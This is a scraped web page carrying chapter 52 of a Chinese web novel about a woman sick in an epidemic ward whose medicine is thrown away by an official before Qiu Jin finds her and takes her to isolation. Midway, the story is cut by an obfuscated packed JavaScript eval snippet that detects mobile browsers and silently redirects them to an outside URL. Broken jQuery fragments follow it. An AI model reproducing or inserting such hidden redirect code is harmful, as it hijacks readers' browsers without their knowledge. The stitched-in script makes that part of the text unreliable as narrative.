52. 第 52 章

作品:《月嫂与探花郎

    “这是此次时疫的对症药,你先不用管我是从哪里拿到的,赶紧请太医与郎中们研究出这里面的药材成份,如法炮制即可,安济院这边病号约莫有几十人。”


    朱修读罢信,很是惊诧,这怎么可能,这么多人还没搞出一个管用的方子来治病,她从安济院那种地方如何能拿到,更何况她现在还是个病人,有药还不赶紧医好自己?


    该不会已经病得开始臆想了吧?


    说起来她应该是跟着邱锦一起去了居养院才对,怎么听起来好像不是那么回事。


    那小孩还想让人去救她,这怎么个救法,带回来传染瘟疫?


    自作孽,不可活。


    他将瓷瓶丢在桌上,决定不予理会。


    姜致得知宝墩已经把东西顺利送到行馆,满心期待,就连精神都变好了些。


    第二日,她又拿到了一瓶药,她将药分作三份,给陈婆和方氏都服下一些。


    她能感觉到药有作用,半日后头就清醒了些许,但三分之一的药还是不足以治病,只是病情明显减缓了进展的速度。


    两日后,什么消息都没有。


    姜致觉得有些不对劲,问宝墩,你将东西送给了谁,他答应帮忙转交了吗?


    “那个当官的好像姓朱,他答应一定帮我转交的,”宝墩想起护卫的话,犹豫着道,“但一开始那看门的人说邱锦已经不住在那边了,好像搬去了别的地方,但我想着那个当官的一定能找到的,就还是给他了。”


    姓朱?姜致一时想不起哪位大人姓朱,但按说只要送到行馆就成了,即使交不到邱锦手上,自己信上写得很明白,即使死马当作活马医,他们也会试一下的,莫非是那汤药研究起来有难度?


    姜致内心开始有些不安。


    宝墩似乎也觉出姜致的焦虑,开始怀疑那位朱大人,想了想道:“那个当官的可能真不是什么好人,我跟他说你病了,让他们救你,到现在也没有人过来看一眼。”


    闻听此言,她不安的感觉更加强烈。


    别人她不敢说,但邱锦若知道她病了,定会想办法救她,那他此时不在行馆还能去哪里呢?


    邱锦一来到居养院就派了人出去寻姜致,但回话说安济院并没有去过一位姓姜的姑娘,而且近些日子那里因时疫病故的人有很多,她若是真的去了,只怕也是凶多吉少。


    他来到前厅,太医与郎中们正冥思苦想,争执不休。


    “玄参,连翘,甘草,赤芍,桔梗,白芷这几味必不可少,能不能把牛蒡子去掉,解表药过多,可能反而会减了药效。”


    “不可不可,牛蒡子不可缺,要去也是把薄荷去掉,份量不足,不抵大用。”


    “不不,我觉得这方子里最多余的还是干葛,功效重复且单一。”


    ……


    邱锦:“昨日的药效反馈如何?”


    李太医:“那两个方子看起来都是有效的,试用的病人今日精神明显见好,自述头疼减轻,饭也多用了些,只是没有大家期望的那般立竿见影。”


    邱锦:“病来如山倒,病去如抽丝,有效就继续用着,以观后效。”


    徐郎中道:“要不就把这两个方子推广出去如何?”


    苗太医:“再等等,我还可以弄出更好的药方。”


    韦宇明:“但时疫不等人,据户部呈报,每日都有人病死,我们已经没有多少时间可以耽搁了。”


    邱锦思忖片刻:“还需再观察两日,一旦病人病情稳定下来,就从这二者里选出一个推广下去。”


    他对韦宇明道:“我要回一趟行馆。”


    从她的书信中能看出她一定去过安济院,莫非又转去了别处?


    她若有新的消息递给自己,就只能送去那里。


    护卫毕恭毕敬地将他拦在了大门外,“安抚使大人已经吩咐过,为太子安危着想,时疫得到控制之前,任何人不得随意进入行馆。”


    邱锦:“……任何人?”


    护卫:“是。”


    “好吧,”虽然有些草木皆兵,但也可以理解,他问道,“近日可有人再给我送什么书信?”


    护卫这才猛地记起:“是有个孩子来给大人送过东西,安抚使大人帮您带进去了。”


    还真有?邱锦忙问:“送的是什么?”


    “一个瓷瓶里不知装了什么,另外,还有一封书信。”


    “你帮我去朱大人那里将东西取出来。”


    “是。”


    不多时,护卫回来了,但却只带出了一封信,“朱大人说,怕瓶子里有什么不干净的东西,因此早已将其丢弃了,又说因为怕感染时疫危及太子,因而未能及时将信件及时送到……。”


    邱锦摆摆手,示意他不用再解释,他此时顾不得同他计较那许多,匆忙展开了信。


    对症药?她还在安济院?


    邱锦匆匆上了马车。


    安济院的人见邱锦一身官衣,不敢怠慢,赶紧出来迎接。


    “不知大人莅临,有何要事?”灰色的面巾将脸遮得严严实实,只露出一双眼睛。


    “我来寻人,这里出入的人可有登记造册?”


    “有,有,”那人将案上的册子托在手上递给他,“所有出入和病死的人这里都有记录,请大人过目。”


    邱锦接过册子,手莫名抖了一下。


    他先看了病死那一栏,没找到姜致的名字,心下松了些。


    再一页页往回翻,看到一个名字。


    他指着上面的“江致”问,“这个人在哪里?”


    “哦,她啊,是个年轻的姑娘,来了好几日了,但她所在的屋子前两日刚刚死掉一个染了时疫的,估计现在情况也不太妙……”


    “我只问你——她在哪里。”邱锦脸色瞬时冷戾,目露寒芒。


    那人一抖,慌道:“就、就在后面。”


    他领着邱锦寻到了姜致所住的屋子,在门口远远地停住脚步,指着里面道:“就是这里,但这里面现在都是病人,大人要不……”


    邱锦上前笃笃叩门。


    宝墩开了门,问道:“你找谁?”


    姜致侧身往外望去,透过门缝一眼便看到了那张熟悉的脸,她一着急连声咳道:“你先在外面等一下,咳咳咳,我这就出去。”


    邱锦刚要推门而入,瞥到她身边还有其他人在,这才停住脚步。


    宝墩茫然地看着他:“你就是那个邱锦吗?”


    邱锦:“你听她提起过我?”


    宝墩:“嗯,姜姐姐还让我给你送过东西呢。”


    邱锦打量了他两眼,缓和了表情:“原来是你送的。”


    这屋里的炭火只够晚上取暖用,白日里也很冷,因此都是和衣而眠,姜致只又多穿了件外衣便出门去。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823880|158342||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    邱锦看着她身形虚浮地走出来,发觉虽只过了这几日,她却憔悴了许多,脸上也瘦了些,他心下一紧,走上前来想牵起她的手。


    姜致往后退了两步,对他道:“咳咳咳你不要靠过来,我染了病。”


    “我不怕。”邱锦还要往前。


    “咳咳你——站在那里就好,”姜致喝住他,“咳咳,我给你的药收到了吗?”


    “没有,但你放心,我们已经出来方子了,正在试用,你跟我回去,马上就能用上药。”


    姜致不知该怎么跟他说,“我有药,但这里还有挺多病人,这屋里就有两个病情很严重的。”


    “那你也得先跟我回去,你在我身边我才能放心,只要药方一确定,我会即刻派人送药过来。”


    姜致想了想自己明天早上才能拿到药,到时侯可以交给他们一并研究,便点点头:“好,我先跟你回去。”


    宝墩闻言,紧张地拉住姜致的衣袖。


    姜致安抚地拍拍他的手,对邱锦道:“把这孩子也带上吧,他已经得过时疫并且痊愈了,到现在还好好的。”


    “好,都依你。”


    姜致进屋与方氏道别,陈婆还在睡着,就不叫醒她了,请方氏到时替自己跟她说一声。


    方氏面色有几分颓然:“唉,你这一走,我这心里还挺难受的,也更没底了。”


    姜致安慰她道:“听说官府快要放药了,咳咳咳,估计就在这两天。”


    “那敢情好,只是不知我还等不等得到。”方氏苦笑道。


    “你一定可以的,你的反应最小,我来这几日,都没听到你咳嗽过。”


    她好像一直只有头晕乏力气短这些病状,就是挺久起不来床了。


    “这倒是,我心气足。”方氏这次是真心地笑了一下。


    姜致也笑了。


    姜致找出面巾围好,带了宝墩跟在邱锦后面上了马车,坐得离邱锦远远的,将宝墩安置在他们中间。


    邱锦无语地轻笑一声:“你觉得这管什么用?”


    “咳咳!”姜致瞪他一眼:“你好像真的不怕被我传染?”


    “自然是怕的,”邱锦探出头,在小案上以手支颐看着她,眼里带了点笑意:“但一想到可以使你愧疚之下全心照顾我,便会感觉值得。”


    姜致:“咳咳……”


    她现在自顾不暇,还能照顾得了谁呢。


    进了居养院的大门,立时便有遮得严严的人上前来接了姜致和宝墩,分别送进一个单间。


    姜致讶异于这里的布局,与她想象中的隔离区居然有得一拼。


    邱锦守在她的门外,跟她说着话。


    姜致:“你是怎么想到这样搞的?”


    “是大家群策群力,还有你信里给我的启发。”


    她提了吗?最近头脑昏沉,已经记不清了。


    邱锦给她送了药过来,在门外陪了她许久,问出她近日的情况,问她信中所说的自愈是什么意思,她所谓对症的药指的是什么。


    姜致:“你明天一早就过来,咳咳,我拿药给你。”


    邱锦沉默了,半晌没有出声。


    姜致隔着房门也可以想象到他此时的表情和心境,估计以为她病糊涂了。


    “你要信我,咳咳。”


    邱锦听出她话里有些着急,出声安抚道:“我会过来的,还要来给你送药呢。”